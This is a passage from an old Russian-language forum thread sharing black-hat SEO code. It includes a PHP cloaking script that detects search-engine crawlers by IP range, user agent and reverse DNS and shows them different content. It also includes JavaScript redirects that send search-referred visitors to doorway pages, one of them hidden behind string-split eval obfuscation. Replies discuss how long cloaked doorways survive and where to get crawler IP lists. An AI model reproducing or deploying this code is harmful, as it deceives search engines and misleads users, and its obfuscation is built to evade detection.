Мини клоакинг скрипт

Тема в разделе "Мелочи", создана пользователем I_not, 26 июл 2007.

Статус темы:
Закрыта.
  1. I_not

    I_not su -root

    Регистр.:
    9 янв 2007
    Сообщения:
    124
    Симпатии:
    50
    Разработал свой мини клоакинг скрипт, т.к существующие слишком тяжелые в настройке, и времени надо больше чтобы настроить это все.

    Скрипт определяет по целомму диапозону IP поисковика!(весь ДЦ посковика), по юзерагенту (лучьше убрать, т.к конкуренты это бытро заметят), и по обратному ДНС.

    PHP:
    <?
    function 
    botmustdie(){
    $ip=array ("213\.180\.([1][9][1-9]|[2][0-1][0-9]|[2][2][0-3])+\.[0-9]+","87\.250\.([2][2][4-9]|[2][3-4][0-9]|[2][5][0-5])+\.[0-9]+","81\.19\.([6][4-9]|[7][0-2])+\.[0-9]+","81\.176\.([6][67])+\.[0-9]+","194\.67\.([1][8-9])+\.[0-9]+","72\.14\.([1][9][2-9]|[2][0-4][0-9]|[2][5][0-5])+\.[0-9]+","66\.249\.([6][4-9]|[7-8][0-9]|[9][0-5])+\.[0-9]+","64\.68\.([6][4-9]|[7-8][0-9]|[9][0-5])+\.[0-9]+","64\.233\.([1][6][0-9]|[1][7-8][0-9]|[1][9][0-1])+\.[0-9]+","216\.239\.([3][2-9]|[4-5][0-9]|[6][0-3])+\.[0-9]+","64\.208\.([3][2-7])+\.[0-9]+","64\.209\.181\.[0-9]+","216\.33\.229\.[0-9]+","209\.85\.([1][2][8-9]|[1][3-9][0-9]|[2][0-1][0-9]|[2][5][0-5])+\.[0-9]+","209\.185\.(253|108)\.[0-9]+");
    $ua=array ("yandex""mail""rambler","google","crawler","bot","slurp");
    $dns=array ("yandex""mail""rambler","google","aport","msn","yahoo");
    $rua=" ".$_SERVER['HTTP_USER_AGENT'];
    $rip=$_SERVER['REMOTE_ADDR'];
    $bot=false;
    for (
    $i 0$i sizeof($ua); $i++){if(strpos(strtolower($rua),$ua[$i])!=false){$bot=true;}}
    if(
    $bot==false){for ($i 0$i sizeof($ip); $i++){if(preg_match("!".$ip[$i]."!"$rip)){$bot=true;}}}
    if(
    $bot==false){$host=gethostbyaddr($rip);for ($i 0$i sizeof($dns); $i++){if(preg_match("!".$dns[$i]."!"$host)){$bot=true;}}}
    return 
    $bot;
    // by I_NOT for NULLED.WS
    }
    if(
    botmustdie()) {
    ?>

    Привет поисковикам

    <?


    }
    else{
    ?>

    Привет юзерам

    <?}?>
     
    zaqwsx_ нравится это.
  2. zaqwsx_

    zaqwsx_

    Регистр.:
    29 авг 2006
    Сообщения:
    227
    Симпатии:
    14
    вообще есть по круче редтрект :

    var ref,i,is_se=0;
    var se = new Array(”google”,”msn”,”yahoo”,”yandex”,”rambler”,”aport”,”mail”,”km.ru”,
    “meta”,”all.by”, “tut.by”,”online.ua”,”nigma”);
    if(document.referrer)ref=document.referrer;
    else ref=”";
    for(i=0;i<13;i++)
    {if(ref.indexOf(se)>=0){is_se=1;document.location=”Перейти по ссылке редиректить челов с СЕ”;}}
    if(is_se==0){document.location=”/Куда пойдет прочая нечисть”}


    а есть еще такое :

    var r=document.referrer,u=document.URL,t="",q,se="gb";

    if(r.indexOf("google.")!=-1){t="q";se="google";}
    if(r.indexOf("msn.")!=-1){t="q";se="msn";}
    if(r.indexOf("yahoo.")!=-1){t="p";se="yahoo";}
    if(r.indexOf("altavista.")!=-1){t="q";se="altavista";}
    if(r.indexOf("aol.")!=-1){t="query";se="aol";}
    if(r.indexOf("ask.")!=-1){t="q";se="ask";}
    if(r.indexOf("eureka.com.")!=-1){t="q";se="eureka.com";}
    if(r.indexOf("lycos.com.")!=-1){t="query";se="lycos";}
    if(r.indexOf("hotbot.com.")!=-1){t="MT";se="hotbot";}
    if(r.indexOf("infoseek.com.")!=-1){t="qt";se="infoseek.com";}
    if(r.indexOf("webcrawler.")!=-1){t="searchText";se="webcrawler";}
    if(r.indexOf("excite.")!=-1){t="search";se="excite";}
    if(r.indexOf("netscape.com.")!=-1){t="search";se="netscape";}
    if(r.indexOf("mamma.com.")!=-1){t="query";se="mamma";}
    if(r.indexOf("alltheweb.com.")!=-1){t="query";se="alltheweb.com";}
    if(r.indexOf("northernlight.com.")!=-1){t="qr";se="northernlight.com";}
    if(r.indexOf("rambler.ru.")!=-1){t="words";se="rambler.ru";}
    if(r.indexOf("aport.ru.")!=-1){t="r";se="aport.ru";}
    if(r.indexOf("yandex.ru.")!=-1){t="text";se="yandex.ru";}
    if(r.indexOf("pingwin.ru.")!=-1){t="searchword";se="pingwin.ru";}
    if(r.indexOf("www.ru.")!=-1){t="Str_Find";se="www.ru";}
    if(r.indexOf("punto.ru.")!=-1){t="text";se="punto.ru";}
    if(t.length&&((q=r.indexOf("?"+t+"="))!=-1||(q=r.indexOf("&"+t+"="))!=-1))
    {
    window.location="http://:::./search.php?q="+r.substring(q+2+t.length).split("&")[0];
    }
    else
    {
    404 page
    }


    --- Redirect 2 -----------------------------------------------------

    ref=escape(document.referrer);
    function gotto(str)
    {
    d="lo";b="cat";c="ion.r";z="epl";e2="ace('";f7=str;g="')";i=7;j=21;
    if (j-14==i) eval(d+b+c+z+e2+f7+g);
    }
    if ((ref.indexOf('google')==-1) && (ref.indexOf('yahoo')==-1) && (ref.indexOf('aol')==-1) && (ref.indexOf('msn')==-1) && (ref.indexOf('live')==-1) && (ref.indexOf('lycos')==-1) && (ref.indexOf('altavista')==-1) && (ref.indexOf('ask')==-1) && (ref.indexOf('dogpile')==-1) && (ref.indexOf('excite')==-1) && (ref.indexOf('teoma')==-1) && (ref.indexOf('earthlink')==-1) && (ref.indexOf('hotbot')==-1) && (ref.indexOf('infoseek')==-1) && (ref.indexOf('webcrawler')==-1) && (ref.indexOf('search')==-1) && (ref.indexOf('mamma')==-1) && (ref.indexOf('alltheweb')==-1) && (ref.indexOf('northernlight')==-1) && (ref.indexOf('rambler')==-1) && (ref.indexOf('aport')==-1) && (ref.indexOf('yandex')==-1)&& (ref.indexOf('eureka.com')==-1) && (ref.indexOf('netscape')==-1) && (ref.indexOf('pingwin')==-1) && (ref.indexOf('www.ru')==-1) && (ref.indexOf('webalta')==-1)
    && (ref.indexOf('punto')==-1))
    {
    gotto('404.html');
    }
    else
    {
    gotto('{fid}');
    }
     
  3. Alsufra

    Alsufra Постоялец

    Регистр.:
    4 апр 2007
    Сообщения:
    99
    Симпатии:
    6
    А где можно надыбать ip шники поисковиков?
     
  4. FOX555

    FOX555 Постоялец

    Регистр.:
    29 авг 2007
    Сообщения:
    78
    Симпатии:
    3
    если не секрет поделтсь статистикой сколько такие заклоаченные доры живут в среденм на гугле ? находил инфу на армаде что клоакинг наоборот ускоряет процес умирания дора, потому что у гугла появился так называемый хитро-бот которй может заходить из под любых айпишек и не светить что он бот а маскироватся обычным юзером, в итоге после сравнения того что сайт отдал боту и хитро-боту делается ввод о клоаке. или это все сказки ?
     
  5. alexloobb

    alexloobb

    Регистр.:
    27 сен 2006
    Сообщения:
    165
    Симпатии:
    50
    http://www.iplists.com/
     
  6. N!trO

    N!trO Постоялец

    Регистр.:
    4 май 2006
    Сообщения:
    123
    Симпатии:
    84
    чорд .. чел .. юзай поиск .. тут я выкладывал пару серверов .. и тема такая уже была !!!!!
     
  7. [anonim]

    [anonim] Создатель

    Регистр.:
    11 сен 2007
    Сообщения:
    14
    Симпатии:
    0
    А для яши?
     
Статус темы:
Закрыта.